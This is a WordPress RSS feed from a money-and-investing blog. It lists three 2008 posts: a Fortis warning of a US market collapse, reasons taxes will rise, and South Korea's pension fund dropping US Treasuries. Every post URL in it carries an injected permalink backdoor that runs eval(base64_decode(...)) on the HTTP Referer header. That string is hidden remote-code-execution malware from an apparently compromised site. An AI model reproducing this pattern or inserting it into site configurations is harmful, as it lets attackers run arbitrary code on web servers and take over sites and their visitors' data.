<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Cashflow Connection &#187; Global Economy</title>
	<atom:link href="http://cashflowconnection.com/category/global-economy/feed/" rel="self" type="application/rss+xml" />
	<link>http://cashflowconnection.com</link>
	<description>Making Money Blogging and Investing</description>
	<lastBuildDate>Tue, 23 Feb 2010 16:13:23 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Fortis Bank Predicts Meltdown Of U.S. Financial Markets In Coming Weeks</title>
		<link>http://cashflowconnection.com/2008/07/02/fortis-bank-predicts-meltdown-of-us-financial-markets-in-coming-weeks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://cashflowconnection.com/2008/07/02/fortis-bank-predicts-meltdown-of-us-financial-markets-in-coming-weeks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 02 Jul 2008 16:35:31 +0000</pubDate>
		<dc:creator>lin</dc:creator>
				<category><![CDATA[Global Economy]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[bankruptcies]]></category>
		<category><![CDATA[Citigroup]]></category>
		<category><![CDATA[collapse of banks]]></category>
		<category><![CDATA[General Motors]]></category>
		<category><![CDATA[US financial markets]]></category>

		<guid isPermaLink="false">http://cashflowconnection.com/?p=23</guid>
		<description><![CDATA[&#160;

&#34;Fortis expects a complete collapse of the US financial markets within a few days to weeks. That explains, according to Fortis, the series of interventions of last Thursday to retrieve &#8364; 8 billion. &#8220;We have been saved just in time. The situation in the US is much worse than we thought&#8221;, says Fortis chairman Maurice [...]]]></description>
		<wfw:commentRss>http://cashflowconnection.com/2008/07/02/fortis-bank-predicts-meltdown-of-us-financial-markets-in-coming-weeks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>9 Reasons Your Taxes Are Going Up</title>
		<link>http://cashflowconnection.com/2008/03/27/9-reasons-your-taxes-are-going-up/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://cashflowconnection.com/2008/03/27/9-reasons-your-taxes-are-going-up/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 27 Mar 2008 18:52:24 +0000</pubDate>
		<dc:creator>lin</dc:creator>
				<category><![CDATA[Global Economy]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Economy]]></category>
		<category><![CDATA[Iraq]]></category>
		<category><![CDATA[US]]></category>
		<category><![CDATA[War]]></category>

		<guid isPermaLink="false">http://cashflowconnection.com/global-economy/9-reasons-your-taxes-are-going-up</guid>
		<description><![CDATA[&#160;
&#160;This was an article on Market Watch.&#160; I wanted to share with all my reader in its entirety.
Thursday, March 27, 2008
provided by &#160;Paul B. Farrell
Market Watch


No Matter who&#8217;s elected president, the debt party&#8217;s over
Reason No. 1: &#34;Most Americans have yet to feel any of the costs of the Iraq war,&#34; write Nobel economist Joseph Stiglitz [...]]]></description>
		<wfw:commentRss>http://cashflowconnection.com/2008/03/27/9-reasons-your-taxes-are-going-up/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>South Korea Shuns US Debt</title>
		<link>http://cashflowconnection.com/2008/03/27/south-korea-shuns-us-debt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://cashflowconnection.com/2008/03/27/south-korea-shuns-us-debt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 27 Mar 2008 16:47:40 +0000</pubDate>
		<dc:creator>lin</dc:creator>
				<category><![CDATA[Global Economy]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Economy]]></category>
		<category><![CDATA[Investments]]></category>
		<category><![CDATA[Pension]]></category>
		<category><![CDATA[Treasury]]></category>
		<category><![CDATA[US]]></category>

		<guid isPermaLink="false">http://cashflowconnection.com/uncategorized/south-korea-shuns-us-debt</guid>
		<description><![CDATA[&#34;The world&#8217;s fifth-largest pension fund will no longer buy US Treasuries because yields are too low. The move signals what could be a big shift by financial institutions away from US government debt into higher-yielding assets.
South Korea&#8217;s National Pension Service, which has $220bn in assets, said on Wednesday it wanted to broaden its range of [...]]]></description>
		<wfw:commentRss>http://cashflowconnection.com/2008/03/27/south-korea-shuns-us-debt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
